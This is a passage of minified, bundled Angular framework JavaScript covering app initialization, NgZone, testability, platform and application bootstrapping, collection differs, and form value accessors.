e{constructor(i){this.appInits=i,this.resolve=Mc,this.reject=Mc,this.initialized=!1,this.done=!1,this.donePromise=new Promise((r,o)=>{this.resolve=r,this.reject=o})}runInitializers(){if(this.initialized)return;const i=[],r=()=>{this.done=!0,this.resolve()};if(this.appInits)for(let o=0;o<this.appInits.length;o++){const l=this.appInits[o]();if(r3(l))i.push(l);else if(u0(l)){const v=new Promise((F,Y)=>{l.subscribe({complete:F,error:Y})});i.push(v)}}Promise.all(i).then(()=>{r()}).catch(o=>{this.reject(o)}),0===i.length&&r(),this.initialized=!0}}return e.\\u0275fac=function(i){return new(i||e)(Pe(k9,8))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();const O9=new yn("AppId",{providedIn:"root",factory:function I9(){return`${A7()}${A7()}${A7()}`}});function A7(){return String.fromCharCode(97+Math.floor(25*Math.random()))}const R9=new yn("Platform Initializer"),Yh=new yn("Platform ID",{providedIn:"platform",factory:()=>"unknown"}),Wh=new yn("AnimationModuleType");let $h=(()=>{class e{log(i){console.log(i)}warn(i){console.warn(i)}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();const Dc=new yn("LocaleId",{providedIn:"root",factory:()=>Ue(Dc,Ie.Optional|Ie.SkipSelf)||function Kh(){return typeof $localize<"u"&&$localize.locale||ts}()}),Zh=new yn("DefaultCurrencyCode",{providedIn:"root",factory:()=>"USD"});class Qh{constructor(t,i){this.ngModuleFactory=t,this.componentFactories=i}}let qh=(()=>{class e{compileModuleSync(i){return new u7(i)}compileModuleAsync(i){return Promise.resolve(this.compileModuleSync(i))}compileModuleAndAllComponentsSync(i){const r=this.compileModuleSync(i),l=Or(ke(i).declarations).reduce((v,F)=>{const Y=O(F);return Y&&v.push(new Is(Y)),v},[]);return new Qh(r,l)}compileModuleAndAllComponentsAsync(i){return Promise.resolve(this.compileModuleAndAllComponentsSync(i))}clearCache(){}clearCacheFor(i){}getModuleId(i){}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();const ef=(()=>Promise.resolve(0))();function S7(e){typeof Zone>"u"?ef.then(()=>{e&&e.apply(null,null)}):Zone.current.scheduleMicroTask("scheduleMicrotask",e)}class yr{constructor({enableLongStackTrace:t=!1,shouldCoalesceEventChangeDetection:i=!1,shouldCoalesceRunChangeDetection:r=!1}){if(this.hasPendingMacrotasks=!1,this.hasPendingMicrotasks=!1,this.isStable=!0,this.onUnstable=new Qr(!1),this.onMicrotaskEmpty=new Qr(!1),this.onStable=new Qr(!1),this.onError=new Qr(!1),typeof Zone>"u")throw new Q(908,!1);Zone.assertZonePatched();const o=this;o._nesting=0,o._outer=o._inner=Zone.current,Zone.TaskTrackingZoneSpec&&(o._inner=o._inner.fork(new Zone.TaskTrackingZoneSpec)),t&&Zone.longStackTraceZoneSpec&&(o._inner=o._inner.fork(Zone.longStackTraceZoneSpec)),o.shouldCoalesceEventChangeDetection=!r&&i,o.shouldCoalesceRunChangeDetection=r,o.lastRequestAnimationFrameId=-1,o.nativeRequestAnimationFrame=function tf(){let e=ie.requestAnimationFrame,t=ie.cancelAnimationFrame;if(typeof Zone<"u"&&e&&t){const i=e[Zone.__symbol__("OriginalDelegate")];i&&(e=i);const r=t[Zone.__symbol__("OriginalDelegate")];r&&(t=r)}return{nativeRequestAnimationFrame:e,nativeCancelAnimationFrame:t}}().nativeRequestAnimationFrame,function af(e){const t=()=>{!function rf(e){e.isCheckStableRunning||-1!==e.lastRequestAnimationFrameId||(e.lastRequestAnimationFrameId=e.nativeRequestAnimationFrame.call(ie,()=>{e.fakeTopEventTask||(e.fakeTopEventTask=Zone.root.scheduleEventTask("fakeTopEventTask",()=>{e.lastRequestAnimationFrameId=-1,z7(e),e.isCheckStableRunning=!0,E7(e),e.isCheckStableRunning=!1},void 0,()=>{},()=>{})),e.fakeTopEventTask.invoke()}),z7(e))}(e)};e._inner=e._inner.fork({name:"angular",properties:{isAngularZone:!0},onInvokeTask:(i,r,o,l,v,F)=>{try{return N9(e),i.invokeTask(o,l,v,F)}finally{(e.shouldCoalesceEventChangeDetection&&"eventTask"===l.type||e.shouldCoalesceRunChangeDetection)&&t(),H9(e)}},onInvoke:(i,r,o,l,v,F,Y)=>{try{return N9(e),i.invoke(o,l,v,F,Y)}finally{e.shouldCoalesceRunChangeDetection&&t(),H9(e)}},onHasTask:(i,r,o,l)=>{i.hasTask(o,l),r===o&&("microTask"==l.change?(e._hasPendingMicrotasks=l.microTask,z7(e),E7(e)):"macroTask"==l.change&&(e.hasPendingMacrotasks=l.macroTask))},onHandleError:(i,r,o,l)=>(i.handleError(o,l),e.runOutsideAngular(()=>e.onError.emit(l)),!1)})}(o)}static isInAngularZone(){return typeof Zone<"u"&&!0===Zone.current.get("isAngularZone")}static assertInAngularZone(){if(!yr.isInAngularZone())throw new Q(909,!1)}static assertNotInAngularZone(){if(yr.isInAngularZone())throw new Q(909,!1)}run(t,i,r){return this._inner.run(t,i,r)}runTask(t,i,r,o){const l=this._inner,v=l.scheduleEventTask("NgZoneEvent: "+o,t,nf,Mc,Mc);try{return l.runTask(v,i,r)}finally{l.cancelTask(v)}}runGuarded(t,i,r){return this._inner.runGuarded(t,i,r)}runOutsideAngular(t){return this._outer.run(t)}}const nf={};function E7(e){if(0==e._nesting&&!e.hasPendingMicrotasks&&!e.isStable)try{e._nesting++,e.onMicrotaskEmpty.emit(null)}finally{if(e._nesting--,!e.hasPendingMicrotasks)try{e.runOutsideAngular(()=>e.onStable.emit(null))}finally{e.isStable=!0}}}function z7(e){e.hasPendingMicrotasks=!!(e._hasPendingMicrotasks||(e.shouldCoalesceEventChangeDetection||e.shouldCoalesceRunChangeDetection)&&-1!==e.lastRequestAnimationFrameId)}function N9(e){e._nesting++,e.isStable&&(e.isStable=!1,e.onUnstable.emit(null))}function H9(e){e._nesting--,E7(e)}class sf{constructor(){this.hasPendingMicrotasks=!1,this.hasPendingMacrotasks=!1,this.isStable=!0,this.onUnstable=new Qr,this.onMicrotaskEmpty=new Qr,this.onStable=new Qr,this.onError=new Qr}run(t,i,r){return t.apply(i,r)}runGuarded(t,i,r){return t.apply(i,r)}runOutsideAngular(t){return t()}runTask(t,i,r,o){return t.apply(i,r)}}const V9=new yn(""),B9=new yn("");let T7,cf=(()=>{class e{constructor(i,r,o){this._ngZone=i,this.registry=r,this._pendingCount=0,this._isZoneStable=!0,this._didWork=!1,this._callbacks=[],this.taskTrackingZone=null,T7||(function lf(e){T7=e}(o),o.addToWindow(r)),this._watchAngularEvents(),i.run(()=>{this.taskTrackingZone=typeof Zone>"u"?null:Zone.current.get("TaskTrackingZone")})}_watchAngularEvents(){this._ngZone.onUnstable.subscribe({next:()=>{this._didWork=!0,this._isZoneStable=!1}}),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.subscribe({next:()=>{yr.assertNotInAngularZone(),S7(()=>{this._isZoneStable=!0,this._runCallbacksIfReady()})}})})}increasePendingRequestCount(){return this._pendingCount+=1,this._didWork=!0,this._pendingCount}decreasePendingRequestCount(){if(this._pendingCount-=1,this._pendingCount<0)throw new Error("pending async requests below zero");return this._runCallbacksIfReady(),this._pendingCount}isStable(){return this._isZoneStable&&0===this._pendingCount&&!this._ngZone.hasPendingMacrotasks}_runCallbacksIfReady(){if(this.isStable())S7(()=>{for(;0!==this._callbacks.length;){let i=this._callbacks.pop();clearTimeout(i.timeoutId),i.doneCb(this._didWork)}this._didWork=!1});else{let i=this.getPendingTasks();this._callbacks=this._callbacks.filter(r=>!r.updateCb||!r.updateCb(i)||(clearTimeout(r.timeoutId),!1)),this._didWork=!0}}getPendingTasks(){return this.taskTrackingZone?this.taskTrackingZone.macroTasks.map(i=>({source:i.source,creationLocation:i.creationLocation,data:i.data})):[]}addCallback(i,r,o){let l=-1;r&&r>0&&(l=setTimeout(()=>{this._callbacks=this._callbacks.filter(v=>v.timeoutId!==l),i(this._didWork,this.getPendingTasks())},r)),this._callbacks.push({doneCb:i,timeoutId:l,updateCb:o})}whenStable(i,r,o){if(o&&!this.taskTrackingZone)throw new Error(\'Task tracking zone is required when passing an update callback to whenStable(). Is "zone.js/plugins/task-tracking" loaded?\');this.addCallback(i,r,o),this._runCallbacksIfReady()}getPendingRequestCount(){return this._pendingCount}registerApplication(i){this.registry.registerApplication(i,this)}unregisterApplication(i){this.registry.unregisterApplication(i)}findProviders(i,r,o){return[]}}return e.\\u0275fac=function(i){return new(i||e)(Pe(yr),Pe(U9),Pe(B9))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac}),e})(),U9=(()=>{class e{constructor(){this._applications=new Map}registerApplication(i,r){this._applications.set(i,r)}unregisterApplication(i){this._applications.delete(i)}unregisterAllApplications(){this._applications.clear()}getTestability(i){return this._applications.get(i)||null}getAllTestabilities(){return Array.from(this._applications.values())}getAllRootElements(){return Array.from(this._applications.keys())}findTestabilityInTree(i,r=!0){return T7?.findTestabilityInTree(this,i,r)??null}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();const wa=!1;let ns=null;const G9=new yn("AllowMultipleToken"),L7=new yn("PlatformDestroyListeners"),j9=new yn("appBootstrapListener");class hf{constructor(t,i){this.name=t,this.token=i}}function W9(e,t,i=[]){const r=`Platform: ${t}`,o=new yn(r);return(l=[])=>{let v=k7();if(!v||v.injector.get(G9,!1)){const F=[...i,...l,{provide:o,useValue:!0}];e?e(F):function ff(e){if(ns&&!ns.get(G9,!1))throw new Q(400,!1);ns=e;const t=e.get(K9);(function Y9(e){const t=e.get(R9,null);t&&t.forEach(i=>i())})(e)}(function $9(e=[],t){return ba.create({name:t,providers:[{provide:C4,useValue:"platform"},{provide:L7,useValue:new Set([()=>ns=null])},...e]})}(F,r))}return function mf(e){const t=k7();if(!t)throw new Q(401,!1);return t}()}}function k7(){return ns?.get(K9)??null}let K9=(()=>{class e{constructor(i){this._injector=i,this._modules=[],this._destroyListeners=[],this._destroyed=!1}bootstrapModuleFactory(i,r){const o=function Q9(e,t){let i;return i="noop"===e?new sf:("zone.js"===e?void 0:e)||new yr(t),i}(r?.ngZone,function Z9(e){return{enableLongStackTrace:!1,shouldCoalesceEventChangeDetection:!(!e||!e.ngZoneEventCoalescing)||!1,shouldCoalesceRunChangeDetection:!(!e||!e.ngZoneRunCoalescing)||!1}}(r)),l=[{provide:yr,useValue:o}];return o.run(()=>{const v=ba.create({providers:l,parent:this.injector,name:i.moduleType.name}),F=i.create(v),Y=F.injector.get(Ls,null);if(!Y)throw new Q(402,!1);return o.runOutsideAngular(()=>{const me=o.onError.subscribe({next:$e=>{Y.handleError($e)}});F.onDestroy(()=>{Ac(this._modules,F),me.unsubscribe()})}),function q9(e,t,i){try{const r=i();return r3(r)?r.catch(o=>{throw t.runOutsideAngular(()=>e.handleError(o)),o}):r}catch(r){throw t.runOutsideAngular(()=>e.handleError(r)),r}}(Y,o,()=>{const me=F.injector.get(xc);return me.runInitializers(),me.donePromise.then(()=>(function ac(e){De(e,"Expected localeId to be defined"),"string"==typeof e&&(rc=e.toLowerCase().replace(/_/g,"-"))}(F.injector.get(Dc,ts)||ts),this._moduleDoBootstrap(F),F))})})}bootstrapModule(i,r=[]){const o=J9({},r);return function df(e,t,i){const r=new u7(i);return Promise.resolve(r)}(0,0,i).then(l=>this.bootstrapModuleFactory(l,o))}_moduleDoBootstrap(i){const r=i.injector.get(wc);if(i._bootstrapComponents.length>0)i._bootstrapComponents.forEach(o=>r.bootstrap(o));else{if(!i.instance.ngDoBootstrap)throw new Q(-403,!1);i.instance.ngDoBootstrap(r)}this._modules.push(i)}onDestroy(i){this._destroyListeners.push(i)}get injector(){return this._injector}destroy(){if(this._destroyed)throw new Q(404,!1);this._modules.slice().forEach(r=>r.destroy()),this._destroyListeners.forEach(r=>r());const i=this._injector.get(L7,null);i&&(i.forEach(r=>r()),i.clear()),this._destroyed=!0}get destroyed(){return this._destroyed}}return e.\\u0275fac=function(i){return new(i||e)(Pe(ba))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();function J9(e,t){return Array.isArray(t)?t.reduce(J9,e):{...e,...t}}let wc=(()=>{class e{get destroyed(){return this._destroyed}get injector(){return this._injector}constructor(i,r,o){this._zone=i,this._injector=r,this._exceptionHandler=o,this._bootstrapListeners=[],this._views=[],this._runningTick=!1,this._stable=!0,this._destroyed=!1,this._destroyListeners=[],this.componentTypes=[],this.components=[],this._onMicrotaskEmptySubscription=this._zone.onMicrotaskEmpty.subscribe({next:()=>{this._zone.run(()=>{this.tick()})}});const l=new s.y(F=>{this._stable=this._zone.isStable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks,this._zone.runOutsideAngular(()=>{F.next(this._stable),F.complete()})}),v=new s.y(F=>{let Y;this._zone.runOutsideAngular(()=>{Y=this._zone.onStable.subscribe(()=>{yr.assertNotInAngularZone(),S7(()=>{!this._stable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks&&(this._stable=!0,F.next(!0))})})});const me=this._zone.onUnstable.subscribe(()=>{yr.assertInAngularZone(),this._stable&&(this._stable=!1,this._zone.runOutsideAngular(()=>{F.next(!1)}))});return()=>{Y.unsubscribe(),me.unsubscribe()}});this.isStable=(0,u.T)(l,v.pipe((0,c.B)()))}bootstrap(i,r){const o=i instanceof w4;if(!this._injector.get(xc).done){!o&&$(i);throw new Q(405,wa)}let v;v=o?i:this._injector.get(zs).resolveComponentFactory(i),this.componentTypes.push(v.componentType);const F=function uf(e){return e.isBoundToModule}(v)?void 0:this._injector.get(Go),me=v.create(ba.NULL,[],r||v.selector,F),$e=me.location.nativeElement,ft=me.injector.get(V9,null);return ft?.registerApplication($e),me.onDestroy(()=>{this.detachView(me.hostView),Ac(this.components,me),ft?.unregisterApplication($e)}),this._loadComponent(me),me}tick(){if(this._runningTick)throw new Q(101,!1);try{this._runningTick=!0;for(let i of this._views)i.detectChanges()}catch(i){this._zone.runOutsideAngular(()=>this._exceptionHandler.handleError(i))}finally{this._runningTick=!1}}attachView(i){const r=i;this._views.push(r),r.attachToAppRef(this)}detachView(i){const r=i;Ac(this._views,r),r.detachFromAppRef()}_loadComponent(i){this.attachView(i.hostView),this.tick(),this.components.push(i);const r=this._injector.get(j9,[]);r.push(...this._bootstrapListeners),r.forEach(o=>o(i))}ngOnDestroy(){if(!this._destroyed)try{this._destroyListeners.forEach(i=>i()),this._views.slice().forEach(i=>i.destroy()),this._onMicrotaskEmptySubscription.unsubscribe()}finally{this._destroyed=!0,this._views=[],this._bootstrapListeners=[],this._destroyListeners=[]}}onDestroy(i){return this._destroyListeners.push(i),()=>Ac(this._destroyListeners,i)}destroy(){if(this._destroyed)throw new Q(406,!1);const i=this._injector;i.destroy&&!i.destroyed&&i.destroy()}get viewCount(){return this._views.length}warnIfDestroyed(){}}return e.\\u0275fac=function(i){return new(i||e)(Pe(yr),Pe(ya),Pe(Ls))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();function Ac(e,t){const i=e.indexOf(t);i>-1&&e.splice(i,1)}function vf(){}let _f=(()=>{class e{}return e.__NG_ELEMENT_ID__=yf,e})();function yf(e){return function bf(e,t,i){if(Hn(e)&&!i){const r=Vn(e.index,t);return new Os(r,r)}return 47&e.type?new Os(t[X1],t):null}(W1(),Tt(),16==(16&e))}class iu{constructor(){}supports(t){return Eo(t)}create(t){return new Af(t)}}const wf=(e,t)=>t;class Af{constructor(t){this.length=0,this._linkedRecords=null,this._unlinkedRecords=null,this._previousItHead=null,this._itHead=null,this._itTail=null,this._additionsHead=null,this._additionsTail=null,this._movesHead=null,this._movesTail=null,this._removalsHead=null,this._removalsTail=null,this._identityChangesHead=null,this._identityChangesTail=null,this._trackByFn=t||wf}forEachItem(t){let i;for(i=this._itHead;null!==i;i=i._next)t(i)}forEachOperation(t){let i=this._itHead,r=this._removalsHead,o=0,l=null;for(;i||r;){const v=!r||i&&i.currentIndex<au(r,o,l)?i:r,F=au(v,o,l),Y=v.currentIndex;if(v===r)o--,r=r._nextRemoved;else if(i=i._next,null==v.previousIndex)o++;else{l||(l=[]);const me=F-o,$e=Y-o;if(me!=$e){for(let zt=0;zt<me;zt++){const Nt=zt<l.length?l[zt]:l[zt]=0,Kt=Nt+zt;$e<=Kt&&Kt<me&&(l[zt]=Nt+1)}l[v.previousIndex]=$e-me}}F!==Y&&t(v,F,Y)}}forEachPreviousItem(t){let i;for(i=this._previousItHead;null!==i;i=i._nextPrevious)t(i)}forEachAddedItem(t){let i;for(i=this._additionsHead;null!==i;i=i._nextAdded)t(i)}forEachMovedItem(t){let i;for(i=this._movesHead;null!==i;i=i._nextMoved)t(i)}forEachRemovedItem(t){let i;for(i=this._removalsHead;null!==i;i=i._nextRemoved)t(i)}forEachIdentityChange(t){let i;for(i=this._identityChangesHead;null!==i;i=i._nextIdentityChange)t(i)}diff(t){if(null==t&&(t=[]),!Eo(t))throw new Q(900,!1);return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let o,l,v,i=this._itHead,r=!1;if(Array.isArray(t)){this.length=t.length;for(let F=0;F<this.length;F++)l=t[F],v=this._trackByFn(F,l),null!==i&&Object.is(i.trackById,v)?(r&&(i=this._verifyReinsertion(i,l,v,F)),Object.is(i.item,l)||this._addIdentityChange(i,l)):(i=this._mismatch(i,l,v,F),r=!0),i=i._next}else o=0,function J8(e,t){if(Array.isArray(e))for(let i=0;i<e.length;i++)t(e[i]);else{const i=e[Symbol.iterator]();let r;for(;!(r=i.next()).done;)t(r.value)}}(t,F=>{v=this._trackByFn(o,F),null!==i&&Object.is(i.trackById,v)?(r&&(i=this._verifyReinsertion(i,F,v,o)),Object.is(i.item,F)||this._addIdentityChange(i,F)):(i=this._mismatch(i,F,v,o),r=!0),i=i._next,o++}),this.length=o;return this._truncate(i),this.collection=t,this.isDirty}get isDirty(){return null!==this._additionsHead||null!==this._movesHead||null!==this._removalsHead||null!==this._identityChangesHead}_reset(){if(this.isDirty){let t;for(t=this._previousItHead=this._itHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._additionsHead;null!==t;t=t._nextAdded)t.previousIndex=t.currentIndex;for(this._additionsHead=this._additionsTail=null,t=this._movesHead;null!==t;t=t._nextMoved)t.previousIndex=t.currentIndex;this._movesHead=this._movesTail=null,this._removalsHead=this._removalsTail=null,this._identityChangesHead=this._identityChangesTail=null}}_mismatch(t,i,r,o){let l;return null===t?l=this._itTail:(l=t._prev,this._remove(t)),null!==(t=null===this._unlinkedRecords?null:this._unlinkedRecords.get(r,null))?(Object.is(t.item,i)||this._addIdentityChange(t,i),this._reinsertAfter(t,l,o)):null!==(t=null===this._linkedRecords?null:this._linkedRecords.get(r,o))?(Object.is(t.item,i)||this._addIdentityChange(t,i),this._moveAfter(t,l,o)):t=this._addAfter(new Sf(i,r),l,o),t}_verifyReinsertion(t,i,r,o){let l=null===this._unlinkedRecords?null:this._unlinkedRecords.get(r,null);return null!==l?t=this._reinsertAfter(l,t._prev,o):t.currentIndex!=o&&(t.currentIndex=o,this._addToMoves(t,o)),t}_truncate(t){for(;null!==t;){const i=t._next;this._addToRemovals(this._unlink(t)),t=i}null!==this._unlinkedRecords&&this._unlinkedRecords.clear(),null!==this._additionsTail&&(this._additionsTail._nextAdded=null),null!==this._movesTail&&(this._movesTail._nextMoved=null),null!==this._itTail&&(this._itTail._next=null),null!==this._removalsTail&&(this._removalsTail._nextRemoved=null),null!==this._identityChangesTail&&(this._identityChangesTail._nextIdentityChange=null)}_reinsertAfter(t,i,r){null!==this._unlinkedRecords&&this._unlinkedRecords.remove(t);const o=t._prevRemoved,l=t._nextRemoved;return null===o?this._removalsHead=l:o._nextRemoved=l,null===l?this._removalsTail=o:l._prevRemoved=o,this._insertAfter(t,i,r),this._addToMoves(t,r),t}_moveAfter(t,i,r){return this._unlink(t),this._insertAfter(t,i,r),this._addToMoves(t,r),t}_addAfter(t,i,r){return this._insertAfter(t,i,r),this._additionsTail=null===this._additionsTail?this._additionsHead=t:this._additionsTail._nextAdded=t,t}_insertAfter(t,i,r){const o=null===i?this._itHead:i._next;return t._next=o,t._prev=i,null===o?this._itTail=t:o._prev=t,null===i?this._itHead=t:i._next=t,null===this._linkedRecords&&(this._linkedRecords=new ru),this._linkedRecords.put(t),t.currentIndex=r,t}_remove(t){return this._addToRemovals(this._unlink(t))}_unlink(t){null!==this._linkedRecords&&this._linkedRecords.remove(t);const i=t._prev,r=t._next;return null===i?this._itHead=r:i._next=r,null===r?this._itTail=i:r._prev=i,t}_addToMoves(t,i){return t.previousIndex===i||(this._movesTail=null===this._movesTail?this._movesHead=t:this._movesTail._nextMoved=t),t}_addToRemovals(t){return null===this._unlinkedRecords&&(this._unlinkedRecords=new ru),this._unlinkedRecords.put(t),t.currentIndex=null,t._nextRemoved=null,null===this._removalsTail?(this._removalsTail=this._removalsHead=t,t._prevRemoved=null):(t._prevRemoved=this._removalsTail,this._removalsTail=this._removalsTail._nextRemoved=t),t}_addIdentityChange(t,i){return t.item=i,this._identityChangesTail=null===this._identityChangesTail?this._identityChangesHead=t:this._identityChangesTail._nextIdentityChange=t,t}}class Sf{constructor(t,i){this.item=t,this.trackById=i,this.currentIndex=null,this.previousIndex=null,this._nextPrevious=null,this._prev=null,this._next=null,this._prevDup=null,this._nextDup=null,this._prevRemoved=null,this._nextRemoved=null,this._nextAdded=null,this._nextMoved=null,this._nextIdentityChange=null}}class Ef{constructor(){this._head=null,this._tail=null}add(t){null===this._head?(this._head=this._tail=t,t._nextDup=null,t._prevDup=null):(this._tail._nextDup=t,t._prevDup=this._tail,t._nextDup=null,this._tail=t)}get(t,i){let r;for(r=this._head;null!==r;r=r._nextDup)if((null===i||i<=r.currentIndex)&&Object.is(r.trackById,t))return r;return null}remove(t){const i=t._prevDup,r=t._nextDup;return null===i?this._head=r:i._nextDup=r,null===r?this._tail=i:r._prevDup=i,null===this._head}}class ru{constructor(){this.map=new Map}put(t){const i=t.trackById;let r=this.map.get(i);r||(r=new Ef,this.map.set(i,r)),r.add(t)}get(t,i){const o=this.map.get(t);return o?o.get(t,i):null}remove(t){const i=t.trackById;return this.map.get(i).remove(t)&&this.map.delete(i),t}get isEmpty(){return 0===this.map.size}clear(){this.map.clear()}}function au(e,t,i){const r=e.previousIndex;if(null===r)return r;let o=0;return i&&r<i.length&&(o=i[r]),r+t+o}class su{constructor(){}supports(t){return t instanceof Map||Q4(t)}create(){return new zf}}class zf{constructor(){this._records=new Map,this._mapHead=null,this._appendAfter=null,this._previousMapHead=null,this._changesHead=null,this._changesTail=null,this._additionsHead=null,this._additionsTail=null,this._removalsHead=null,this._removalsTail=null}get isDirty(){return null!==this._additionsHead||null!==this._changesHead||null!==this._removalsHead}forEachItem(t){let i;for(i=this._mapHead;null!==i;i=i._next)t(i)}forEachPreviousItem(t){let i;for(i=this._previousMapHead;null!==i;i=i._nextPrevious)t(i)}forEachChangedItem(t){let i;for(i=this._changesHead;null!==i;i=i._nextChanged)t(i)}forEachAddedItem(t){let i;for(i=this._additionsHead;null!==i;i=i._nextAdded)t(i)}forEachRemovedItem(t){let i;for(i=this._removalsHead;null!==i;i=i._nextRemoved)t(i)}diff(t){if(t){if(!(t instanceof Map||Q4(t)))throw new Q(900,!1)}else t=new Map;return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let i=this._mapHead;if(this._appendAfter=null,this._forEach(t,(r,o)=>{if(i&&i.key===o)this._maybeAddToChanges(i,r),this._appendAfter=i,i=i._next;else{const l=this._getOrCreateRecordForKey(o,r);i=this._insertBeforeOrAppend(i,l)}}),i){i._prev&&(i._prev._next=null),this._removalsHead=i;for(let r=i;null!==r;r=r._nextRemoved)r===this._mapHead&&(this._mapHead=null),this._records.delete(r.key),r._nextRemoved=r._next,r.previousValue=r.currentValue,r.currentValue=null,r._prev=null,r._next=null}return this._changesTail&&(this._changesTail._nextChanged=null),this._additionsTail&&(this._additionsTail._nextAdded=null),this.isDirty}_insertBeforeOrAppend(t,i){if(t){const r=t._prev;return i._next=t,i._prev=r,t._prev=i,r&&(r._next=i),t===this._mapHead&&(this._mapHead=i),this._appendAfter=t,t}return this._appendAfter?(this._appendAfter._next=i,i._prev=this._appendAfter):this._mapHead=i,this._appendAfter=i,null}_getOrCreateRecordForKey(t,i){if(this._records.has(t)){const o=this._records.get(t);this._maybeAddToChanges(o,i);const l=o._prev,v=o._next;return l&&(l._next=v),v&&(v._prev=l),o._next=null,o._prev=null,o}const r=new Tf(t);return this._records.set(t,r),r.currentValue=i,this._addToAdditions(r),r}_reset(){if(this.isDirty){let t;for(this._previousMapHead=this._mapHead,t=this._previousMapHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._changesHead;null!==t;t=t._nextChanged)t.previousValue=t.currentValue;for(t=this._additionsHead;null!=t;t=t._nextAdded)t.previousValue=t.currentValue;this._changesHead=this._changesTail=null,this._additionsHead=this._additionsTail=null,this._removalsHead=null}}_maybeAddToChanges(t,i){Object.is(i,t.currentValue)||(t.previousValue=t.currentValue,t.currentValue=i,this._addToChanges(t))}_addToAdditions(t){null===this._additionsHead?this._additionsHead=this._additionsTail=t:(this._additionsTail._nextAdded=t,this._additionsTail=t)}_addToChanges(t){null===this._changesHead?this._changesHead=this._changesTail=t:(this._changesTail._nextChanged=t,this._changesTail=t)}_forEach(t,i){t instanceof Map?t.forEach(i):Object.keys(t).forEach(r=>i(t[r],r))}}class Tf{constructor(t){this.key=t,this.previousValue=null,this.currentValue=null,this._nextPrevious=null,this._next=null,this._prev=null,this._nextAdded=null,this._nextRemoved=null,this._nextChanged=null}}function ou(){return new F7([new iu])}let F7=(()=>{class e{constructor(i){this.factories=i}static create(i,r){if(null!=r){const o=r.factories.slice();i=i.concat(o)}return new e(i)}static extend(i){return{provide:e,useFactory:r=>e.create(i,r||ou()),deps:[[e,new Yi,new On]]}}find(i){const r=this.factories.find(o=>o.supports(i));if(null!=r)return r;throw new Q(901,!1)}}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:ou}),e})();function cu(){return new N7([new su])}let N7=(()=>{class e{constructor(i){this.factories=i}static create(i,r){if(r){const o=r.factories.slice();i=i.concat(o)}return new e(i)}static extend(i){return{provide:e,useFactory:r=>e.create(i,r||cu()),deps:[[e,new Yi,new On]]}}find(i){const r=this.factories.find(o=>o.supports(i));if(r)return r;throw new Q(901,!1)}}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:cu}),e})();const Of=W9(null,"core",[]);let If=(()=>{class e{constructor(i){}}return e.\\u0275fac=function(i){return new(i||e)(Pe(wc))},e.\\u0275mod=P1({type:e}),e.\\u0275inj=P({}),e})();function Rf(e){return"boolean"==typeof e?e:null!=e&&"false"!==e}},4006:(At,ae,d)=>{"use strict";d.d(ae,{Cf:()=>oe,EJ:()=>Zn,F:()=>V1,Fj:()=>j,JJ:()=>Pt,JL:()=>Ie,JU:()=>_,Kr:()=>Bi,NI:()=>In,On:()=>li,Q7:()=>ki,UX:()=>st,Wl:()=>g,YN:()=>Hi,Zs:()=>Ci,_Y:()=>L1,a5:()=>ct,c5:()=>Mi,kI:()=>K,nD:()=>un,nJ:()=>Ee,oH:()=>Hn,p4:()=>Gn,sg:()=>pn,u:()=>qi,u5:()=>ye,wO:()=>bn,wV:()=>Mn});var n=d(4650),a=d(6895),s=d(5254),u=d(567),c=d(4850);let f=(()=>{class I{constructor(T,ue){this._renderer=T,this._elementRef=ue,this.onChange=gt=>{},this.onTouched=()=>{}}setProperty(T,ue){this._renderer.setProperty(this._elementRef.nativeElement,T,ue)}registerOnTouched(T){this.onTouched=T}registerOnChange(T){this.onChange=T}setDisabledState(T){this.setProperty("disabled",T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.Qsj),n.Y36(n.SBq))},I.\\u0275dir=n.lG2({type:I}),I})(),E=(()=>{class I extends f{}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,features:[n.qOj]}),I})();const _=new n.OlP("NgValueAccessor"),S={provide:_,useExisting:(0,n.Gpc)(()=>g),multi:!0};let g=(()=>{class I extends E{writeValue(T){this.setProperty("checked",T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["input","type","checkbox","formControlName",""],["input","type","checkbox","formControl",""],["input","type","checkbox","ngModel",""]],hostBindings:function(T,ue){1&T&&n.NdJ("change",function(Ot){return ue.onChange(Ot.target.checked)})("blur",function(){return ue.onTouched()})},features:[n._Bn([S]),n.qOj]}),I})();const C={provide:_,useExisting:(0,n.Gpc)(()=>j),multi:!0},H=new n.OlP("CompositionEventMode");let j=(()=>{class I extends f{constructor(T,ue,gt){super(T,ue),this._compositionMode=gt,this._composing=!1,null==this._compositionMode&&(this._compositionMode=!function z(){const I=(0,a.q)()?(0,a.q)().getUserAgent():"";return/android (\\d+)/.test(I.toLowerCase())}())}writeValue(T){this.setProperty("value",T??"")}_handleInput(T){(!this._compositionMode||this._compositionMode&&!this._composing)&&this.onChange(T)}_compositionStart(){this._composing=!0}_compositionEnd(T){this._composing=!1,this._compositionMode&&this.onChange(T)}}return I.\\u0275fac=function(T){return 